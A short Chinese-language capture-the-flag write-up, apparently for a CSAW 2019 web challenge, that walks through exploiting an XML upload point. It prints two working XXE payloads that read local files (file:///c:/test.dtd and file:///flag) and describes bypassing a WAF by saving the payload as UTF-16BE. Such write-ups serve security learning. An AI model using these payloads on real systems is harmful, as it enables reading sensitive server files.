Home没有什么可看的,只有一行字
User
User下有一些用户信息,但是也没什么用
upload下则是有一个上传点,不出意料漏洞应该就在这。
about下写出了flag的位置。
可以看到upload下有一行
You can check out the format example here
点开example后看到一堆xml代码
<users>
<user>
<username>alice</username>
<password>passwd1</password>
<name>Alice</name>
<email>alice@fakesite.com</email>
<group>CSAW2019</group>
</user>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
</user>
</users>
于是就去查询了以下xml相关的漏洞,发现了XXE漏洞,大致思路是通过定义外部实体,通过在xml中引用,打印出外部实体中的内容。
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
这段xml的作用就是通过定义的xxe实体得到C:/test.dtd的内容。
知道了利用方式后就可以自己构造xml文件,来得到flag的内容。
<?xml version="1.0"?>
<!DOCTYPE users [
<!ELEMENT users ANY >
<!ENTITY aaa SYSTEM "file:///flag" >]>
<users>
<user>
<username>&aaa;</username>
<password>3</password>
<name>&aaa;</name>
<email>&aaa;</email>
<group>&aaa;</group>
<intro>&aaa;</intro>
</user>
</users>
上传后,发现被WAF拦截了,继续搜索XXE绕过WAF的方法。
将文件保存为UTF-16BE后,上传文件,得到flag。